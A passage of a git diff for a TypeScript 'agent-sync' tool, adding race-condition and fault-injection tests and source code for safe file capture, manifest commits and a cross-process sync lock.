rmSync(join(fixture.pluginRoot, 'agents', 'scout.md')); + + const first = agentReport( + run({ + beforeAgentFileMutation: (event) => { + if (event.operation === 'remove' && event.path === scoutPath) { + writeFileSync(scoutPath, replacementBytes); + } + }, + }), + 'claude', + ); + + expect(readFileSync(scoutPath)).toEqual(replacementBytes); + expect(agentFileAction(first, 'scout')).toBe('kept-modified-orphan'); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeUndefined(); + expect(first.advisories.some((line) => line.includes('concurrently changed orphan'))).toBe(true); + + const second = agentReport(run(), 'claude'); + expect(agentFileAction(second, 'scout')).toBeUndefined(); + expect(readFileSync(scoutPath)).toEqual(replacementBytes); + }); + + test('INV1: captured bytes mutated after validation are preserved, never discarded by the final unlink', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const mutatedBytes = Buffer.from('# mutated through the captured inode\n'); + rmSync(join(fixture.pluginRoot, 'agents', 'scout.md')); + + const report = run({ + beforeAgentFileMutation: (event) => { + if (event.operation !== 'remove' || event.path !== scoutPath) return; + // The old file is quarantined at this barrier; mutate the captured inode. + const quarantine = readdirSync(agentsDir).find((name) => name.startsWith('.scout.md.agent-retire-')); + if (quarantine === undefined) throw new Error('captured quarantine dir not found'); + writeFileSync(join(agentsDir, quarantine, 'object'), mutatedBytes); + }, + }); + const claude = agentReport(report, 'claude'); + + expect(agentFileAction(claude, 'scout')).toBe('removed'); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeUndefined(); + // the mutated bytes survive visibly instead of being unlinked into nothing + expect(readFileSync(`${scoutPath}.genie-kept`)).toEqual(mutatedBytes); + expect(claude.advisories.some((line) => line.includes('changed after validation'))).toBe(true); + // the backup still holds exactly the validated bytes + expect(readFileSync(join(report.backupsDir as string, 'claude', 'agents', 'scout.md'), 'utf8')).toBe('# scout\n'); + }); + + test('INV2: ownership is never committed for live bytes replaced at the commit barrier', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const foreignBytes = Buffer.from('# foreign writer at the commit barrier\n'); + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + beforeAgentManifestCommit: () => { + writeFileSync(scoutPath, foreignBytes); + }, + }), + 'claude', + ); + + const manifest = readAgentFilesManifest(agentsDir); + expect(readFileSync(scoutPath)).toEqual(foreignBytes); // the foreign object stays live + expect(manifest?.files['scout.md']).toBeUndefined(); // and is never claimed + expect(manifest?.files['reviewer.md']).toBeDefined(); // unaffected names stay owned + expect(agentFileAction(claude, 'scout')).toBe('skipped-unmanaged-kept'); + expect(claude.advisories.some((line) => line.includes('not published or claimed'))).toBe(true); + expect(readFileSync(`${scoutPath}.genie-kept`, 'utf8')).toBe('# scout\n'); // prior managed bytes stay visible + }); + + test('INV3: a silently replaced manifest stage payload is never published and is preserved', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutBefore = readFileSync(scoutPath); + const manifestBefore = readFileSync(manifestPath); + const tamperedBytes = Buffer.from('{"managedBy":"genie-agent-sync","files":{"evil.md":{"digest":"x"}}}\n'); + let tamperedStagePath = ''; + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + beforeAgentManifestCommit: ({ stagePath }) => { + tamperedStagePath = stagePath; + rmSync(stagePath); + writeFileSync(stagePath, tamperedBytes); + // no throw: the commit itself must detect the tampered payload + }, + }), + 'claude', + ); + + expect(tamperedStagePath).not.toBe(''); + expect(readFileSync(scoutPath)).toEqual(scoutBefore); // published v2 was rolled back exactly + expect(readFileSync(manifestPath)).toEqual(manifestBefore); // tampered payload never became the manifest + expect(readFileSync(tamperedStagePath)).toEqual(tamperedBytes); // preserved byte-for-byte + expect(claude.advisories.some((line) => line.includes('preserved replaced staged payload'))).toBe(true); + expect(claude.advisories.some((line) => line.includes('commit failed'))).toBe(true); + }); +}); + // --------------------------------------------------------------------------- // Idempotency // --------------------------------------------------------------------------- @@ -965,7 +1502,7 @@ describe('staging cleanup', () => { const skillsDir = join(fixture.claudeDir, 'skills'); const userBackup = join(skillsDir, 'alpha.old'); writeFile(join(userBackup, 'SKILL.md'), '# user manual backup — do not delete\n'); - // genie's own crashed-run staging debris sitting next to the same skill + // crashed-run staging debris sitting next to the same skill writeFile(join(skillsDir, 'alpha.genie-sync.staging', 'garbage.txt'), 'crash debris\n'); const report = agentReport(run(), 'claude'); @@ -1656,6 +2193,12 @@ describe('stampWorkflow parity with council-stamp.cjs', () => { const LOCK_NAME = '.agent-sync.lock'; const MARKER_NAME = '.last-agent-sync'; +function lockOwnerPath(lockPath: string): string { + const owner = readdirSync(lockPath).find((name) => name.startsWith('owner-')); + if (owner === undefined) throw new Error(`lock owner missing under ${lockPath}`); + return join(lockPath, owner); +} + describe('cross-process sync lock', () => { // Same-host identity every writer (this process + spawned runners on this // machine) embeds as the 4th owner-record field; a lock is stealable ONLY when @@ -1665,6 +2208,9 @@ describe('cross-process sync lock', () => { const TOKEN = '0123456789abcdef0123456789abcdef'; /** Same-host owner record with an explicitly dead/live pid and 'unknown' start identity. */ const sameHostRecord = (pid: number) => `${pid}:${TOKEN}:unknown:${HOST}\n`; + const markOwnedGenerationCrashed = (lockPath: string): void => { + writeFileSync(lockOwnerPath(lockPath), sameHostRecord(DEAD_PID)); + }; test('a fresh lock held elsewhere skips the whole sync with an advisory — zero writes, lock untouched', () => { present(fixture.claudeDir); @@ -1683,18 +2229,131 @@ describe('cross-process sync lock', () => { expect(existsSync(lockPath)).toBe(true); // never releases someone else's live lock }); - test('a stale SAME-HOST lock with a dead pid is stolen and the sync proceeds', () => { + test('a stale owned generation is stolen and the sync proceeds', () => { present(fixture.claudeDir); const lockPath = join(fixture.genieHome, LOCK_NAME); - writeFile(lockPath, sameHostRecord(DEAD_PID)); // same host + dead pid → the only stealable shape + const crashed = acquireAgentSyncLock(fixture.genieHome); + if (crashed === null) throw new Error('stale fixture lock was not acquired'); + markOwnedGenerationCrashed(lockPath); const staleSec = (Date.now() - 11 * 60 * 1000) / 1000; // 11 min > 10 min age-out - utimesSync(lockPath, staleSec, staleSec); + utimesSync(lockOwnerPath(lockPath), staleSec, staleSec); const report = run(); expect(report.skipped).toBeUndefined(); expect(skillAction(agentReport(report, 'claude'), 'alpha')).toBe('created'); expect(existsSync(lockPath)).toBe(false); // released after the run + crashed.release(); // stale handle is now a no-op + }); + + test('a stale legacy regular-file lock is captured safely and upgraded', () => { + present(fixture.claudeDir); + const lockPath = join(fixture.genieHome, LOCK_NAME); + const legacyBytes = Buffer.from('999:legacy-token\n'); + writeFileSync(lockPath, legacyBytes); + const staleSec = (Date.now() - 11 * 60 * 1000) / 1000; + utimesSync(lockPath, staleSec, staleSec); + + const report = run(); + + expect(report.skipped).toBeUndefined(); + expect(skillAction(agentReport(report, 'claude'), 'alpha')).toBe('created'); + expect(existsSync(lockPath)).toBe(false); + }); + + test('an older holder cannot release a replacement lock after a stale steal', () => { + const lockPath = join(fixture.genieHome, LOCK_NAME); + const older = acquireAgentSyncLock(fixture.genieHome); + if (older === null) throw new Error('older fixture lock was not acquired'); + markOwnedGenerationCrashed(lockPath); + const staleSec = (Date.now() - 11 * 60 * 1000) / 1000; + utimesSync(lockOwnerPath(lockPath), staleSec, staleSec); + const replacement = acquireAgentSyncLock(fixture.genieHome); + if (replacement === null) throw new Error('replacement fixture lock was not acquired'); + + older.release(); + + expect(existsSync(lockPath)).toBe(true); + expect(acquireAgentSyncLock(fixture.genieHome)).toBeNull(); + replacement.release(); + expect(existsSync(lockPath)).toBe(false); + }); + + test('lock acquisition failure is typed and stops every protected write', () => { + present(fixture.claudeDir); + const lines: string[] = []; + + const report = run({ + log: (line) => lines.push(line), + lockOptions: { + beforePublish: () => { + const error = new Error('injected lock publish denial') as NodeJS.ErrnoException; + error.code = 'EACCES'; + throw error; + }, + }, + }); + + expect(report.skipped).toContain('lock acquisition failed closed'); + expect(report.agents).toEqual([]); + expect(existsSync(join(fixture.claudeDir, 'skills'))).toBe(false); + expect(existsSync(join(fixture.genieHome, MARKER_NAME))).toBe(false); + expect(lines.some((line) => line.includes('failed closed'))).toBe(true); + expect(() => acquireAgentSyncLock(join(fixture.root, 'not-a-directory'))).toThrow(AgentSyncLockError); + }); + + test('a foreign owner replacement installed after release capture survives byte-for-byte', () => { + const lockPath = join(fixture.genieHome, LOCK_NAME); + let ownerPath = ''; + const replacementBytes = Buffer.from('foreign release replacement\n'); + const older = acquireAgentSyncLock(fixture.genieHome, { + afterCapture: (event) => { + if (event.operation !== 'release') return; + writeFileSync(ownerPath, replacementBytes); + }, + }); + if (older === null) throw new Error('older fixture lock was not acquired'); + ownerPath = lockOwnerPath(lockPath); + + older.release(); + + expect(readFileSync(ownerPath)).toEqual(replacementBytes); + expect(acquireAgentSyncLock(fixture.genieHome)).toBeNull(); + }); + + test('a foreign owner replacement installed after stale capture survives and the stealer fails closed', () => { + const lockPath = join(fixture.genieHome, LOCK_NAME); + const stale = acquireAgentSyncLock(fixture.genieHome); + if (stale === null) throw new Error('stale fixture lock was not acquired'); + const ownerPath = lockOwnerPath(lockPath); + markOwnedGenerationCrashed(lockPath); + const staleSec = (Date.now() - 11 * 60 * 1000) / 1000; + utimesSync(ownerPath, staleSec, staleSec); + const replacementBytes = Buffer.from('foreign stale replacement\n'); + + const contender = acquireAgentSyncLock(fixture.genieHome, { + afterCapture: (event) => { + if (event.operation !== 'stale-remove') return; + writeFileSync(ownerPath, replacementBytes); + }, + }); + + expect(contender).toBeNull(); + expect(readFileSync(ownerPath)).toEqual(replacementBytes); + expect(acquireAgentSyncLock(fixture.genieHome)).toBeNull(); + stale.release(); + }); + + test('an aged owned generation with a live same-host owner is never stolen', () => { + const lockPath = join(fixture.genieHome, LOCK_NAME); + const live = acquireAgentSyncLock(fixture.genieHome); + if (live === null) throw new Error('live fixture lock was not acquired'); + const staleSec = (Date.now() - 11 * 60 * 1000) / 1000; + utimesSync(lockOwnerPath(lockPath), staleSec, staleSec); + + expect(acquireAgentSyncLock(fixture.genieHome)).toBeNull(); + live.release(); + expect(existsSync(lockPath)).toBe(false); }); test('a stale CROSS-HOST lock is never stolen even with a locally-dead pid (double-writer safety)', () => { @@ -1918,11 +2577,11 @@ describe('cross-process sync lock', () => { const report = run({ hermesBinary: '/fake/bin/hermes', - execHermesEnable: () => writeFileSync(lockPath, replacement, 'utf8'), + execHermesEnable: () => writeFileSync(lockOwnerPath(lockPath), replacement, 'utf8'), }); expect(report.skipped).toBeUndefined(); - expect(readFileSync(lockPath, 'utf8')).toBe(replacement); + expect(readFileSync(lockOwnerPath(lockPath), 'utf8')).toBe(replacement); }); test('the raw engine never marks convergence complete', () => { @@ -2051,11 +2710,13 @@ describe('cross-process sync lock', () => { present(fixture.codexDir); present(fixture.hermesHome); const runnerPath = writeSyncRunner(); - // A crashed run's stale SAME-HOST lock (dead pid) that every racer will try to steal. + // A crashed run's stale owned generation that every racer will try to steal. const lockPath = join(fixture.genieHome, LOCK_NAME); - writeFile(lockPath, sameHostRecord(DEAD_PID)); + const crashed = acquireAgentSyncLock(fixture.genieHome); + if (crashed === null) throw new Error('stale fixture lock was not acquired'); + markOwnedGenerationCrashed(lockPath); const staleSec = (Date.now() - 11 * 60 * 1000) / 1000; // 11 min > 10 min age-out - utimesSync(lockPath, staleSec, staleSec); + utimesSync(lockOwnerPath(lockPath), staleSec, staleSec); // Pre-spawn four runners parked on the go-file barrier, then release them // together so the steal attempts overlap. The winner sleeps 2s INSIDE the @@ -2083,6 +2744,7 @@ describe('cross-process sync lock', () => { expect(skillAction(agentReport(wrote[0] as AgentSyncReport, 'claude'), 'alpha')).toBe('created'); } expect(existsSync(lockPath)).toBe(false); // stale lock is gone; any winner released its own + crashed.release(); }, 30_000); }); diff --git a/src/lib/agent-sync.ts b/src/lib/agent-sync.ts index 40581d651..7c480b130 100644 --- a/src/lib/agent-sync.ts +++ b/src/lib/agent-sync.ts @@ -31,10 +31,12 @@ import { copyFileSync, cpSync, existsSync, + fstatSync, fsyncSync, linkSync, lstatSync, mkdirSync, + mkdtempSync, openSync, readFileSync, readdirSync, @@ -42,13 +44,15 @@ import { realpathSync, renameSync, rmSync, + rmdirSync, statSync, symlinkSync, + unlinkSync, writeFileSync, writeSync, } from 'node:fs'; import { homedir, hostname } from 'node:os'; -import { dirname, join, relative, resolve, sep } from 'node:path'; +import { basename, dirname, join, relative, resolve, sep } from 'node:path'; import historicalCodexFallbackAllowlist from '../fixtures/codex-fallback-allowlist.json'; import { resolveClaudeDir, resolveCodexDir, resolveGenieHome, resolveHermesHome } from './genie-home.js'; import { HermesConfigError, mergeMcpServersGenie } from './hermes-mcp-config.js'; @@ -113,8 +117,14 @@ const LINUX_LIBC_CANDIDATES = ['libc.so.6', 'ld-musl-x86_64.so.1', 'libc.musl-x8 export const LIFECYCLE_LEASE_PATH_ENV = 'GENIE_LIFECYCLE_LEASE_PATH'; /** Exact on-disk owner record paired with {@link LIFECYCLE_LEASE_PATH_ENV}. */ export const LIFECYCLE_LEASE_OWNER_ENV = 'GENIE_LIFECYCLE_LEASE_OWNER'; +/** + * Suffix a preserved managed object gets when its original pathname must be + * released (uninstall keep, conflict preservation): the runtime stops loading + * it, the user's bytes survive. Exported: uninstall shares the convention. + */ +export const KEPT_SUFFIX = '.genie-kept'; /** Cross-process mutual-exclusion lockfile under genieHome — one sync writer per GENIE_HOME. */ -const LOCK_NAME = '.agent-sync.lock'; +export const AGENT_SYNC_LOCK_NAME = '.agent-sync.lock'; /** A lock older than this is a crashed run's debris and may be stolen. */ const LOCK_STALE_MS = 10 * 60 * 1000; /** @@ -172,6 +182,58 @@ export interface AgentSyncOptions { beforeManagedDirPublish?: (destDir: string) => void; /** Failure-injection seam around managed-directory removal quarantine. */ beforeManagedDirRemoval?: (destDir: string, stage: 'before-park' | 'before-delete') => void; + /** Deterministic barrier immediately before a flat agent pathname is replaced or removed. */ + beforeAgentFileMutation?: (event: AgentFileMutationEvent) => void; + /** Fault-injection barrier after the shared manifest transaction is staged and before its atomic commit. */ + beforeAgentManifestCommit?: (event: AgentManifestCommitEvent) => void; + /** Deterministic lock lifecycle seams used by boundary-level regression tests. */ + lockOptions?: AgentSyncLockOptions; +} + +/** + * One barrier event per flat-agent mutation. `replace`/`remove` fire from sync; + * `remove`/`keep`/`prune` fire from uninstall — both through the same + * transaction core, after the live object is captured and before it is + * irreversibly published or disposed. + */ +export interface AgentFileMutationEvent { + operation: 'replace' | 'remove' | 'keep' | 'prune'; + path: string; + backupPath?: string; +} + +/** + * Fires once per transaction, inside the manifest commit: after the staged + * payload (write path) or the captured manifest (removal path) exists, and + * before the atomic publish decides the transaction outcome. + */ +export interface AgentManifestCommitEvent { + path: string; + stagePath: string; +} + +export interface AgentSyncLockMutationEvent { + operation: 'release' | 'stale-remove'; + path: string; + capturedPath: string; +} + +export interface AgentSyncLockOptions { + /** Deterministic barrier after a generation is prepared and before its atomic publish. */ + beforePublish?: (event: { path: string }) => void; + /** Deterministic barrier after the lock pathname is captured and before the captured object is finalized. */ + afterCapture?: (event: AgentSyncLockMutationEvent) => void; +} + +/** A protected mutation must never proceed when the shared lock cannot be created or verified. */ +export class AgentSyncLockError extends Error { + constructor( + message: string, + readonly cause?: unknown, + ) { + super(message); + this.name = 'AgentSyncLockError'; + } } export type AgentSyncSelection = 'auto' | 'codex' | 'claude' | 'all' | 'none'; @@ -215,6 +277,33 @@ export interface GenieSource { version: string | null; } +/** Digest stamp for one flat Claude agent file in {@link AgentFilesManifest}. */ +export interface AgentFileManifestEntry { + digest: string; + version: string | null; + syncedAt: string; +} + +/** Shared manifest stored at `~/.claude/agents/.genie-sync.json`. */ +export interface AgentFilesManifest { + managedBy: 'genie-agent-sync'; + files: Record; +} + +interface ManifestFileSnapshot { + path: string; + bytes: Buffer; + stat: Stats; +} + +type SafeManifestFile = ManifestFileSnapshot & + ({ kind: 'managed'; manifest: AgentFilesManifest } | { kind: 'foreign'; manifest: null }); + +type AgentManifestState = + | SafeManifestFile + | { kind: 'absent'; path: string } + | { kind: 'unsafe'; path: string; reason: string }; + // ============================================================================ // Internal types // ============================================================================ @@ -239,12 +328,20 @@ interface RunContext { targets: { claude: string; codex: string; hermes: string; agentsSkills: string }; /** Copy `existingDir` into the run's backup root and return the backup path. */ backupInto: (agent: string, name: string, existingDir: string) => string; + /** + * Write already-validated bytes into the run's backup root exclusively and + * return the backup path — the backup IS the validated snapshot, so no + * re-read of the live path can diverge from what the policy decided on. + */ + backupBytes: (agent: string, name: string, bytes: Buffer) => string; /** The backup root path, or null when nothing has been backed up this run. */ backupsDirIfCreated: () => string | null; renameManagedDir: typeof renameSync; beforeManagedDirPromotion?: (destDir: string) => void; beforeManagedDirPublish?: (destDir: string) => void; beforeManagedDirRemoval?: (destDir: string, stage: 'before-park' | 'before-delete') => void; + beforeAgentFileMutation?: AgentSyncOptions['beforeAgentFileMutation']; + beforeAgentManifestCommit?: AgentSyncOptions['beforeAgentManifestCommit']; } interface SourceSkill { @@ -257,6 +354,18 @@ interface SkillOutcome { detail?: string; } +interface SourceAgentFile { + name: string; + path: string; +} + +export type AgentPathSnapshot = + | { kind: 'absent' } + | { kind: 'file'; stat: Stats; bytes: Buffer; digest: string } + | { kind: 'directory'; stat: Stats; digest: string } + | { kind: 'symlink'; stat: Stats; target: string } + | { kind: 'other'; stat: Stats }; + // ============================================================================ // Source resolution // ============================================================================ @@ -439,6 +548,10 @@ function hashFile(path: string): string { return createHash('sha256').update(readFileSync(path)).digest('hex'); } +export function computeFileDigest(path: string): string { + return hashFile(path); +} + // ============================================================================ // Manifest + atomic managed-dir writes // ============================================================================ @@ -476,6 +589,323 @@ function writeManifest(dir: string, manifest: SyncManifest): void { writeFileSync(join(dir, MANIFEST_NAME), `${JSON.stringify(manifest, null, 2)}\n`, 'utf8'); } +/** + * Read the shared per-file Claude agent manifest. A malformed entry invalidates + * the whole ownership claim: callers then treat every target as unmanaged, + * which biases corrupt-state recovery toward backup/adoption instead of loss. + */ +export function readAgentFilesManifest(dir: string): AgentFilesManifest | null { + const state = inspectAgentFilesManifest(dir); + return state.kind === 'managed' ? state.manifest : null; +} + +function inspectAgentFilesManifest(dir: string): AgentManifestState { + const path = join(dir, MANIFEST_NAME); + let stat: Stats; + try { + stat = lstatSync(path); + } catch (error) { + if (isNodeErrorCode(error, 'ENOENT')) return { kind: 'absent', path }; + return { kind: 'unsafe', path, reason: `cannot inspect it: ${errMsg(error)}` }; + } + if (stat.isSymbolicLink()) return { kind: 'unsafe', path, reason: 'it is a symlink' }; + if (!stat.isFile()) return { kind: 'unsafe', path, reason: 'it is not a regular file' }; + if (stat.nlink !== 1) return { kind: 'unsafe', path, reason: `it has ${stat.nlink} hard links` }; + + let bytes: Buffer; + try { + bytes = readFileSync(path); + } catch (error) { + return { kind: 'unsafe', path, reason: `cannot read it: ${errMsg(error)}` }; + } + const manifest = parseAgentFilesManifest(bytes); + if (manifest === null) return { kind: 'foreign', path, bytes, stat, manifest: null }; + return { kind: 'managed', path, bytes, stat, manifest }; +} + +function parseAgentFilesManifest(bytes: Buffer): AgentFilesManifest | null { + let parsed: unknown; + try { + parsed = JSON.parse(bytes.toString('utf8')); + } catch { + return null; + } + if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) return null; + const record = parsed as Record; + if (record.managedBy !== MANAGED_BY) return null; + if (typeof record.files !== 'object' || record.files === null || Array.isArray(record.files)) return null; + + const files: Record = {}; + for (const [name, rawEntry] of Object.entries(record.files)) { + if (!isFlatAgentFilename(name)) return null; + if (typeof rawEntry !== 'object' || rawEntry === null || Array.isArray(rawEntry)) return null; + const entry = rawEntry as Record; + if (typeof entry.digest !== 'string') return null; + files[name] = { + digest: entry.digest, + version: typeof entry.version === 'string' ? entry.version : null, + syncedAt: typeof entry.syncedAt === 'string' ? entry.syncedAt : '', + }; + } + return { managedBy: MANAGED_BY, files }; +} + +/** + * CAS predicate for the manifest commit: the captured object must still be the + * exact regular file (identity + bytes) the transaction inspected at its start. + */ +function manifestStillBase(path: string, base: AgentManifestState): boolean { + if (base.kind !== 'managed' && base.kind !== 'foreign') return false; + const current = inspectManifestPath(path); + return current !== null && sameManifestFile(base, current); +} + +function inspectManifestPath(path: string): SafeManifestFile | null { + try { + const stat = lstatSync(path); + if (!stat.isFile() || stat.isSymbolicLink() || stat.nlink !== 1) return null; + const bytes = readFileSync(path); + const manifest = parseAgentFilesManifest(bytes); + return manifest === null + ? { kind: 'foreign', path, bytes, stat, manifest: null } + : { kind: 'managed', path, bytes, stat, manifest }; + } catch { + return null; + } +} + +function sameManifestFile(expected: SafeManifestFile, current: SafeManifestFile): boolean { + return ( + expected.stat.dev === current.stat.dev && + expected.stat.ino === current.stat.ino && + expected.stat.nlink === current.stat.nlink && + expected.bytes.equals(current.bytes) + ); +} + +function writeExclusiveFile(path: string, content: Buffer): void { + const fd = openSync(path, 'wx'); + const identity = fstatSync(fd); + let complete = false; + try { + writeFileSync(fd, content); + fsyncSync(fd); + complete = true; + } finally { + closeSync(fd); + if (!complete) cleanupFailedExclusiveWrite(path, identity); + } +} + +function cleanupFailedExclusiveWrite(path: string, expected: Stats): void { + const captured = capturePath(path, 'write-cleanup'); + if (captured === null) return; + const current = lstatSafe(captured.path); + if (current !== null && sameObjectIdentity(expected, current)) removeCapturedPath(captured); + else restoreOrPreserveCaptured(captured, path); +} + +/** + * One staged payload in a uniquely and exclusively allocated sibling directory. + * Crashed-run debris is never reused or removed, so it cannot wedge a retry. + */ +interface FileStage { + dir: string; + path: string; + stat: Stats; + bytes: Buffer; +} + +function createFileStage(targetPath: string, content: Buffer): FileStage { + const stageDir = mkdtempSync(join(dirname(targetPath), `.${basename(targetPath)}${STAGING_SUFFIX}-`)); + const stagePath = join(stageDir, 'payload'); + try { + writeExclusiveFile(stagePath, content); + } catch (error) { + removeEmptyDirSafe(stageDir); + throw error; + } + return { dir: stageDir, path: stagePath, stat: lstatSync(stagePath), bytes: content }; +} + +/** The staged payload is still the exact object this run wrote (identity + bytes). */ +function fileStageOwned(stage: FileStage): boolean { + try { + const stat = lstatSync(stage.path); + return stat.isFile() && sameObjectIdentity(stage.stat, stat) && readFileSync(stage.path).equals(stage.bytes); + } catch { + return false; + } +} + +/** + * Failure-path stage disposal: our own payload is removed; a payload someone + * replaced is preserved byte-for-byte and reported, never discarded. + */ +function cleanupFileStage(stage: FileStage): string | null { + if (fileStageOwned(stage)) { + try { + unlinkSync(stage.path); + } catch (error) { + if (!isNodeErrorCode(error, 'ENOENT')) { + removeEmptyDirSafe(stage.dir); + return `could not remove staged payload ${stage.path}: ${errMsg(error)}`; + } + } + removeEmptyDirSafe(stage.dir); + return null; + } + if (lstatSafe(stage.path) === null) { + removeEmptyDirSafe(stage.dir); + return null; + } + return `preserved replaced staged payload at ${stage.path}`; +} + +/** + * Success-path stage disposal after a link-publish: the stage name is only an + * extra name for the now-live inode, so dropping it can never discard bytes. + */ +function consumeFileStageName(stage: FileStage): string | null { + try { + unlinkSync(stage.path); + } catch (error) { + if (!isNodeErrorCode(error, 'ENOENT')) return `could not remove staged name ${stage.path}: ${errMsg(error)}`; + } + removeEmptyDirSafe(stage.dir); + return null; +} + +function removeEmptyDirSafe(path: string): void { + try { + rmdirSync(path); + } catch (error) { + if ( + !isNodeErrorCode(error, 'ENOENT') && + !isNodeErrorCode(error, 'ENOTEMPTY') && + !isNodeErrorCode(error, 'EEXIST') + ) { + throw error; + } + } +} + +interface CapturedPath { + dir: string; + path: string; +} + +/** Atomically move the current pathname into a fresh attempt-owned directory. */ +function capturePath(path: string, label: string): CapturedPath | null { + const captureDir = mkdtempSync(join(dirname(path), `.${basename(path)}.${label}-`)); + const capturedPath = join(captureDir, 'object'); + try { + renameSync(path, capturedPath); + return { dir: captureDir, path: capturedPath }; + } catch (error) { + removeEmptyDirSafe(captureDir); + if (isNodeErrorCode(error, 'ENOENT')) return null; + throw error; + } +} + +/** Restore a captured file/symlink without replacing anything that appeared meanwhile. */ +function restoreCapturedPathNoReplace(capturedPath: string, originalPath: string): boolean { + const stat = lstatSync(capturedPath); + try { + if (stat.isFile()) { + linkSync(capturedPath, originalPath); + unlinkSync(capturedPath); + return true; + } + if (stat.isSymbolicLink()) { + symlinkSync(readlinkSync(capturedPath), originalPath); + unlinkSync(capturedPath); + return true; + } + return false; + } catch (error) { + if (isNodeErrorCode(error, 'EEXIST')) return false; + throw error; + } +} + +/** Prefer restoring the original pathname; otherwise leave the object safely quarantined. */ +function restoreOrPreserveCaptured(captured: CapturedPath, originalPath: string): string | null { + if (restoreCapturedPathNoReplace(captured.path, originalPath)) { + removeEmptyDirSafe(captured.dir); + return originalPath; + } + return captured.path; +} + +function removeCapturedPath(captured: CapturedPath): void { + const stat = lstatSafe(captured.path); + if (stat?.isDirectory()) rmSync(captured.path, { recursive: true, force: true }); + else if (stat !== null) unlinkSync(captured.path); + removeEmptyDirSafe(captured.dir); +} + +function sameObjectIdentity(expected: Stats, current: Stats): boolean { + return expected.dev === current.dev && expected.ino === current.ino && expected.mode === current.mode; +} + +function isFlatAgentFilename(name: string): boolean { + return name === basename(name) && name.endsWith('.md') && name !== '.' && name !== '..'; +} + +/** + * Park a captured object at an exclusively allocated `.genie-kept[-…]` + * sibling so the runtime stops loading it while the bytes stay visible on disk. + * Type-aware (file / symlink / directory); collisions advance to a timestamped + * candidate, never overwrite. Returns the kept path, or null when the object + * could not be parked and remains quarantined at `captured.path`. + */ +function keepAsideCaptured(captured: CapturedPath, targetPath: string, now: () => Date): string | null { + const base = `${targetPath}${KEPT_SUFFIX}`; + const timestamp = now().getTime(); + const stat = lstatSafe(captured.path); + if (stat === null) { + removeEmptyDirSafe(captured.dir); + return null; + } + for (let collision = 0; collision < 10_000; collision += 1) { + const candidate = + collision === 0 ? base : collision === 1 ? `${base}-${timestamp}` : `${base}-${timestamp}-${collision - 1}`; + if (tryParkCapturedAt(captured.path, candidate, stat)) { + removeEmptyDirSafe(captured.dir); + return candidate; + } + } + return null; +} + +/** Exclusive no-replace park of one captured object; false only on candidate collision. */ +function tryParkCapturedAt(capturedPath: string, candidate: string, stat: Stats): boolean { + try { + if (stat.isFile()) { + linkSync(capturedPath, candidate); + unlinkSync(capturedPath); + return true; + } + if (stat.isSymbolicLink()) { + symlinkSync(readlinkSync(capturedPath), candidate); + unlinkSync(capturedPath); + return true; + } + if (stat.isDirectory()) { + mkdirSync(candidate, { mode: stat.mode & 0o777 }); + for (const name of readdirSync(capturedPath)) renameSync(join(capturedPath, name), join(candidate, name)); + rmdirSync(capturedPath); + return true; + } + throw new Error(`cannot safely keep non-regular agent path ${candidate}`); + } catch (error) { + if (isNodeErrorCode(error, 'EEXIST')) return false; + throw error; + } +} + function buildManifest(ctx: RunContext, digest: string): SyncManifest { return { managedBy: MANAGED_BY, @@ -530,6 +960,10 @@ export function publishRegularFileNoClobber(stagedPath: string, targetPath: stri } } +function buildAgentFileManifestEntry(ctx: RunContext, digest: string): AgentFileManifestEntry { + return { version: ctx.version, digest, syncedAt: ctx.now().toISOString() }; +} + /** * Reserve an absent directory root with mkdir(EEXIST), then populate it using * only exclusive child creates. This is the strongest portable Node primitive @@ -2242,16 +2676,16 @@ function retirementLockWaitMs(): number { } /** - * Bounded-blocking wrapper over the whole tested {@link acquireSyncLock} + * Bounded-blocking wrapper over the whole tested {@link acquireFileLock} * (reuses its O_EXCL create, pid + process-start-identity liveness, staleness, * and guard-file stealing verbatim). A stale/dead holder is stolen inside - * `acquireSyncLock`; a live holder is retried until the deadline, then this + * `acquireFileLock`; a live holder is retried until the deadline, then this * fails closed having mutated nothing on disk. */ function acquireRetirementLock(lockPath: string): { release: () => void } { const deadline = Date.now() + retirementLockWaitMs(); for (;;) { - const lock = acquireSyncLock(lockPath); + const lock = acquireFileLock(lockPath); if (!('skipped' in lock)) return lock; if (Date.now() >= deadline) { throw new Error(`fallback retirement lock contended; no data changed: ${lockPath}`); @@ -2863,79 +3297,955 @@ function removeManagedOrphans( } // ============================================================================ -// Workflow stamp (output parity-locked to council-stamp.cjs) +// Claude agent enumeration + per-file policy // ============================================================================ -export type ManagedWorkflowState = 'unmanaged' | 'managed-clean' | 'managed-modified' | 'corrupt-metadata'; - -export interface ManagedWorkflowReport { - targetPath: string; - manifestPath: string; - state: ManagedWorkflowState; - /** Accepted physical identity captured by the ownership read. */ - targetDigest?: string; - manifestDigest?: string; - targetMode?: number; - manifestMode?: number; +/** Source agents are flat Markdown files directly under `/agents`. */ +function enumerateSourceAgentFiles(pluginRoot: string): SourceAgentFile[] { + const agentsRoot = join(pluginRoot, 'agents'); + if (!existsSync(agentsRoot)) return []; + return readdirSync(agentsRoot, { withFileTypes: true }) + .filter((entry) => isFlatAgentFilename(entry.name) && classifyEntry(join(agentsRoot, entry.name), entry) === 'file') + .map((entry) => ({ name: entry.name, path: join(agentsRoot, entry.name) })) + .sort((a, b) => a.name.localeCompare(b.name)); } -function readWorkflowManifest(path: string): { - status: 'missing' | 'valid' | 'corrupt'; - manifest?: SyncManifest; - fileDigest?: string; -} { - const stat = lstatSafe(path); - if (stat === null) return { status: 'missing' }; - if (!stat.isFile() || stat.isSymbolicLink()) return { status: 'corrupt' }; - try { - const content = readFileSync(path); - const parsed = JSON.parse(content.toString('utf8')) as Partial; - if ( - parsed.managedBy !== MANAGED_BY || - typeof parsed.digest !== 'string' || - 